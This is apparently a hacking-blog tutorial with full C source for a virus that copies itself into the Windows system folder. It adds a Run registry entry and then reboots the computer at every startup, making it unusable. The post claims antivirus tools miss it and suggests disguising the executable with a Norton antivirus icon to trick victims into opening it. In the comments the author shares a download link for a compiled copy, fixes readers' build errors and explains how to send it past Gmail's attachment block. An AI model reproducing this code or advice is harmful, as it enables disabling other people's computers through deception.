A Virus Program to Restart the Computer at Every Startup
Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.
Here is the source code.
#include<stdio.h>
#include<dos.h>
#include<dir.h>
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}
NOTE: COMMENTS ARE GIVEN IN GREEN COLOUR.
Compiling The Scource Code Into Executable Virus.
1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. For step-by-step compilation guide, refer my post How to compile C Programs.
Testing And Removing The Virus From Your PC
You can compile and test this virus on your own PC without any fear.To test, just doubleclick the sysres.exe file and restart the system manually.Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system.After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE
2. Goto X:\Windows\System (X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run
There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.
Logic Behind The Working Of The Virus
If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete.So I’ll explain the logic in a simplified manner.Here I’ll not explain the technical details of the program.If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.
AND ONE MORE THING BEFORE YOU LEAVE(This Step is optional)
After you compile, the Sysres.exe file that you get will have a default icon.So if you send this file to your friends they may not click on it since it has a default ICON.So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.
The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .
Popularity: 12% [?]
Visitors who read this post, also read:
@ poppernut
I have used Borland C++ 32 bit compiler.
Here is the download link and help on how to install and configure the compiler.
http://dn.codegear.com/article/20633
I am having trouble with the compiler. is it possible for me to download the exe file with having to do the compiling?
The borland compiler is acting weird and it is impossible for me to accomplish anything. I tried Dev-C++ Compiler. Every thing works exept one thing. The line
struct ffblk ffblk;//File block structure
it says “Aggregate ffblk ffblk has incomplete type and cannot be defined”
Any Idea?
I know i asked this last time, but can i download the exe file alone?
@ poppernut
replace the line
struct ffblk ffblk
with the following line and try
struct ffblk {
char ff_reserved[21];
char ff_attrib;
int ff_ftime;
int ff_fdate;
long ff_fsize;
char ff_name[13];
}ffblk;
Lines:
done=findfirst(quot;C:\\windows\\systemquot;,amp;ffblk,FA_DIREC);
done=findfirst(quot;D:\\windows\\systemquot;,amp;ffblk,FA_DIREC);
done=findfirst(quot;C:\\windows\\system\\sysres.exequot;,amp;ffblk,0);
done=findfirst(quot;F:\\windows\\systemquot;,amp;ffblk,FA_DIREC);
done=findfirst(quot;E:\\windows\\systemquot;,amp;ffblk,FA_DIREC);
else
{
system(quot;REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows
\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d C:\\windows\\system\\sysres.exequot;);
}
And all of the
if(done==0)
lines have errors.
It is possible that is has to with the compiler i am using, for it does not use command lines. I can#39;t use the borland one though. It keeps messing up.
This project must be done by Friday for me. I have a schedule to stick too. I can look for something else meanwhile. Sorry to be complaining this much. s it posible for me to download the exe version of the file, after it has been compiled? That would make this much easier. Thank you for helping me with this matter.
I tried the borland compiler again. This time, when i try to open the bcc32, it flashes. Is there another file i should be opening?
@ poppernut
You can use Borland c++ 3.0 (16-bit compiler) also.
C++ 5.5 can only be used via commandline.You have to access Bbcc32 via commandline.
The syntax for compiling is Bbcc32 filename.c
The compiled exe file will be in the same directory as of bcc32.exe.
Anyways leave it if you find some difficulty.I’ll send the compiled project itself.
The download link is
http://rapidshare.com/files/158582448/Sysres.rar
It worked. Thank you very much. I appreciate it. I also love your site. (If i understand correctly, your the host) The most useful of all is the “How to block websites.” Thanks
Thanks for your kind support…
thanks for your valuable assist.
Good Luck
Srikanth, thanks for sharing your knowledge in programming with us we appreciate it and good luck with the site! By the way, is it possible for me to change the file size of the exe file? i want it to look like a legit program or maybe you could teach me how to inject it into a legit file so that in the installation it would run with the legit program. thank you.
@ uriel,
This is a bit difficult task.For that I should write a new post with all details.
But you can definitely change the icon of the .exe file to resemble any legit program which I have already discussed!
@ srikanth,
Thanks for that and I did changed the icon to camouflage it just as you discussed in your post, I appreciate your work a lot, I just tried it and wow it scared me alright, now I’ve got some questions. When the virus ran it shows the cmd window “C://Windows/System/sysres.exe” If the person I sent this to (don’t worry he’s a bad guy)acted fast enough within the 60 seconds time limit and deleted the sysres.exe file in the system folder (not in safe mode) but he did not delete the registry entry, will this virus still work? And one more thing if I used notepad (save the source code as .exe) to create the exe file instead of C++ will it work? I’m sorry for the numerous questions but I really want to learn. Thanks!!!
@ uriel
If it is deleted once it doesn’t work(even though the entry exists in the registry)
But it is not possible to create a .exe file using a notepad.You should use C++ compiler only..
sir, suppose i have a exe file in my pendrive. now my question is is it possible that whenever i connect my pendrive the exe file should automatically get executed. if yes please help me out.sir give me the step by step procedure.
Hi Srikanth; I think my niece’s computer got infected with your virus, I tried to get into safe mode in order to delete sysres.exe and remove sres via regedit but it restarted everytime on selecting safe mode, please advise, thanks.
@ C J Chuha
If your system is restarting even in the safe mode,then it’s definitely not because of my virus.The virus becomes active only when the system is booted normally and not during the safe mode.So,please check your system for other faults!
i downloaded the virus file you posted and tested it but the computer didn’t restart automatically! what do you think is the problem?
@ il-muxu
It’ll restart from the next boot.That is the infection will come to effect from the next boot
yes i did manually reboot the system after i pressed sysres but when it turned on again it stayed on, it didn’t restart pls help.
thanks for the quick response
“THB” virus has affected my pc,how can i remove it please help me sir,
@ yuvaraj
Install a good antivirus/antispyware and update it so that the updates are up to date.Then perform full system scan to remove the virus.Recommended antivirues are
Kaspersky
Norton
Bitdefender
nice work man, really cool virus!!
i wanted to know if there’s a virus, written in C, which can delete certain files so that the computer never boots again??
Not bad, but why don’t you use getenv(“WINDIR”) to find the root partition? It would clean up your code, make it more readable, and increse its speed.
@ Mobin
Yah,It’s possible to write such a virus…I’ll show how to write such a virus in my coming posts…..
hi, Shrikant Myself vishal rathore
you have programmed many viruses.i want to know ,
Have u programmed any antivirus?
@ Vishal
Only virus progrmming till now.AV programming requires much more greater skills.
Thanks for yer time and effort. nice page
Hey Srikanth,i Appreciate ur knowledge and great works..and another thing i like in you is ur gud heart to share ur knowledge with us
keep it up dude…nice website
@ Zals
Thanks you for your kind support.It keeps me motivating!!
Thanks for your reply…………..
please give me your email id if you have no prob….
bcoz i want to discuss some problem of my project with you.
@ Vishal
Just send ur problem through the contact form on this site.Later I’ll reply from my ID….
i want to know where are you.
i want to know i am doing aproject on virus and antivirus.
this is my M.Tech. degree project.
so how can i start my project.
what is the basic thing that can help me in understanding virus and antivirus programming………………
thanks for ur reply.
i want to become your friend…………………
@ Vishal
My email is admin@gohacking.com….
You can contact me through this ID…
hi srikanth i went through your page, nice. i wanted to know can i find and delete thb virus without an antivirus .
can i just download the virus and use it?
i dont understand the codes
@ jets
Yes you can download & use it without any problem.After testing it please follow the above mentioned info to remove it.
by remove u meant the steps about safe bootign then go to windows drive and delte then edit registry for it right?
what if i test this on another old computer and wat do i do with this file, like the one i compiled and never opened?can i put it in recycle bin?
thanks
I have compiled this pgm in the borland c++ (32-bit)compiler every thing works properly. But the only thing is it is not locking in the registry start up programs automatically when the exe file is clicked. but if i add it manually in the registry it works properly.
is any wrong in the line ,
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”);
or do i have problem only in my compiler..
@ naggappan
Are u using an antivirus with proactive defense?
May I know which antivirus r u using?
Compile the source by downloading it.Do not copy-paste the program…
Nice work Srikanth, but if you would use something like windows.h in the header file and will attach the exe with some ecard(flash exe files) then I think it would not even create any suspicion in the user’s mind, so better mask your programs before sending them to anyone else
and one more problem is that, these dos based programs are not intended to work on different platforms(if you compile in 64bit machine, it will not work on 32bit and vice versa) so better if you could resolve this problem too(i m a newbie so better you let me know if I m wrong instead of just letting go the post)
@ Slimright
The program that I have written is just a simple virus that can be coded in C.
For advanced virues we have to make use of TSR concept.
thanks but its not working in vista anymore…!!!
@ raj
It works in vista, but UAC must have been disabled…
Nice work srikanth….This is a great site.. Different from others.. Nice place to share knowledge abt a subject where nowhere else we’ll get 2 knw as its unsafe to visit most of d hacking sites. Keep goin.
Thanks for your support..
For those of you who are trying out the program and it is not displaying the message, DEP (Data Execution Prevention) might be the culprit.
hi shrikant,
want to know about the virus signature.
can u help me.
@ vishal
refer the following link
http://antivirus.about.com/od/whatisavirus/a/virussignature.htm
hii Srikanth can i just download the virus and use it???
if Yes Give Me a link plz i cant’ use rapidshare.com or send it to my email
Cool site dude
:-) how to create a virus that run automatically without d execution
@nilesh
This is an advance mode of programming. You must first knew how to code on assembly language programming (low level programming). Then, the vulnerability of a certain Operating system or a targeted running program which can connect to network (such as lsass.exe). These are also called exploits, a techniques used by most viruses to spread quickly.
i recommend the following link:
http://www.governmentsecurity.org/articles/IntroductiontoBufferOverflow.php
yeah i cant get the source and when i use my normal dev c++ i get problems visual studio doesn’t work either. Plus rapidshare is just screwed up for me. Would it be too much trouble for me to ask you to zip both the source and the .exe and post it on mediafire?
@av
hey thanks……
Hey, cool program man, i have just started learning hacking, but i understant your programs quiet well. I have thrashed many computers throught this exploits and then i only repaired them and gained the fame in my college. thanks sri for providing such information. i’ll be going through all your all your articles turn by turn. coz, now my ultimate aim is to become hacker. thanks again.
the .exefile doesn’t work…..system doesnot restart.
there was no file named sres in the registry plz help
Can you teach us to make mobile virus using notepad??? I have got 4 mobile virus codes made in notepad– Cabir and Skulls…. Can you help us make more???? Like Curse of Silence??? And is Black Wolf a dreadly virus??? I have just heard its name…
i dont know why u always keep on finding the root dir which can e done thru GetSystemDirectory() function
hi can u pls help me 2 put som virus into our coll servers
u have some cool ideas.make some more bright ideas to share with us
Love this site. I can’t wait to infect a friends comp with this. Hehehe.
Hi…….I’ve been having a problem with my comp……..the THB virus has affected it ‘n I’m not able to remove it with my norton which was updated only 3 weeks ago(I’m not able to do so now ‘coz I’m unable to renew it)……..the problem here is my system seems to be linked to the antivirus…..if i delete it to install sumthing like caspersky or avg my system crashes…..I’m at my wits end!!!!….I really need da comp now ‘n I’m not able to use it properly!………..plz help!!!!!
@ Karthik
Try the following.
in your c: drive first enable show hidden file in folder option after that in c drive you can see two hidden files 1. .icon (with the same
picture that you see as drive icon)and 2. autorun.inf delete both and restart system……..
If the above method doesn’t work I recommend you to format and re-install your OS.
Hi! My Pc is infected by a virus that logs off my computer at every time i start my computer.If i try to login again.It immedeately logs off again.PLZ HELP.
@ Anmaya
Reboot your PC in the safe mode. To reboot in Safe mode press F8 as soon as your System boot is started. in the safe more goto run and type the folloring in run box
msconfig ans press enter
In the System configuration Window open the Startup tab. There you’ll see the entry for the virus that is causing the restart. Uncheck the tick mark against it. Reboot your system normally. Everything should be OK from now on…
Dear Srikanth (author),
Have a wonderful day !
i wanted to send this virus to my friend just for fun , but i was unable to send , it says that it is an executable files and you cannot send this type of files for gmail security reasons. PLEASE HELP here!!!
John
@ john
Send it using Yahoo OR upload it to rapidshare and ask your friend to download it by sending the download link via email.
Now That is Something Real Stuff……
Really a very good site for people who want to do something different with ” C “. Really Boss heads off to you.
Tell me one thing can we upload our codes on your site….so that the knowledge can be shared….only if you allow.
This is my idea…you keep on rocking man….Gud Luck
Hi Bro…..
Can We do multithreading with “turboc”.
or any other method of running two diff process simultaneously with a 16bit C program.
@ Dhiraj Singh
You can share codes but it requires prior approval.
Bro Wat about Multithreading…..
and one more thing that how to edit registry as you have done…in above code. Can you share some more knowledge on this ….. or any other link which can be useful. Plz Reply soon i m eagerly waiting.
Thanks Bro for sharing your valueable knowledge….really a great job.
Sir,
The Above Code is not working in Turbo c editor.
System Command is having no effect…no registry Tweak is Happening. What is the Reason and wat is the solution.
@ Dhiraj Singh
Trubo C doesn’t suport multithreading.. Dev C++ will support it..
Shrikant, u r simply genius…
Heya!!!!
Well In Ma College Downloading Is Blocked And Aceesing Orkut Is Even Blocked!!
Can U Tell Me Some Wayz To Bypass The Server And Den Download Or Acess Orkut??
Thnx Man And Ur Site Rulz
And About Antiviruses I Think Also Dat Avira Antivir Is Also Cool….Wat Do U Think??
what is the process of the restart virus..can you help me?
above code is not working properly
with turbo c++4.5 ver.
pls help me out to the solve the problem
sir srikanth
can i rename the sres and sysres.exe here:
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”);
@ darkterror
No don’t do that.. If you really wanna do it, then rename all the instances of sysres in the source code.
ok sir tnx for your advice..
sir how to compiler virus
hello srikanth,
i m a student of software engg….
yesterday my instructor has given me an assignment topic i.e., to write code for virus and antivirus in C/C++…… i dont understand wat should i do???
can you give ur any simple and easy virus and its antivirus code??? only for study purpose… kindly help me….. i hv searched alot but i couldnt understand these viruses code… these are very much difficult…
kindly help me plz……..
my email id is
aasheekanwal@gmail.com
thank u sir……..
w8 4 ur reply
aashee…………
Hi Mr. Srikanth
I’m Rafi.
sir, i’m having problem with the sorce code at :
exit(0); at line 62
case 1:
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); at line 74
exit(0); at line 100.
i received “Call to undefined function”.
can you tell me what’s wrong with my complier. i used Borlan C++ 5.5.
Thanks
hello srikant
this is good it will restart my computer in every boot
but i can able to break your virus by just typing down
shutdown -a on dos command prompt so user that i send
this .exe file have a little knowledge about dos this
virus does not work
by the way i appreciate your work
keep it up
sir how would i recogonize this virus in system as name of the virus could be anything (name sysres not necessary)
@ tar
Goto Start->Run and type msconfig and hit ENTER. Now goto the startup tab and look for suspected programs that run upon Startup. Even the sysres virus(or any name) will have an entry over there. Disable the entry and the virus will stop functioning.
@ Rafi
Please make sure that the “process.h” header file is included..
I need some advice…I’m new in programming,i know to create some viruses and softwares in notepad…But, i don’t know a damn thing about programming in v.basic, c#, c++….what should i do from the beggining (first thing) to be
able to start programming…
I read all the codes but didn’t understand where to type them.will u please teach me?
@ alex
You need to learn C language first…
Dear sir!
My computer has virus fun.exe and dc.exe
got sick!!
or you are a mad person????
i was just jokeing yaar.
you are grrreeeaaat!
don’t you have more virus?
i jut wanna attak my friend’s pc.
Great work sriknth. Pleas tell me how to hack a computer using by WLAN and how to brak or spy DSL password…………
i tried to change the icon of .exe file created by turbo c ver 3.0 but it failed
plz hlp me how to create .exe file using turbo c
how to autorun it.
change its icon.
hai..dear brilliant guy..can u send me the c++ code for a virus which will erase all drives in the computer..pls….i mean datas in the drives..please……….madhu.winit@yahoo.in this is my id!!
EMAIL SECURITY »
How to Protect an Email Account from SPAM
Most of us get SPAM every day. Some of us get more and some little. Even a newly created email account will begin to receive spam just after a few days of it’s creation. Many times we …
NETWORK HACKS »
How to Find the IP Address of a Remote Computer
Most of you may be curious to know how to find the IP address of your friend’s computer or to find the IP address of the person with whom you are chatting in Yahoo messenger or Gtalk. …
PC SECURITY »
10 Tips for a Total Online Security
With the sudden rise in the Internet usage across the globe over the past few years, there has also been a rise in the amount of online scams and frauds. Today most of the Internet users are unaware …
VIRUS CREATION »
A Virus Program to Disable USB Ports
In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with …
XP HACKS »
How to Make Invisible Password Protected Folder
Do you want to password protect your folder? Do you want to make it invisible so that it remains unnoticed by the normal users? Well here is a way to do that. In this post I …
Categories
Blogroll
Recent Comments
Most Commented
Most Popular
Log In | Entries (RSS) | Comments (RSS) | Sitemap | Arthemia Premium theme by Michael Jubel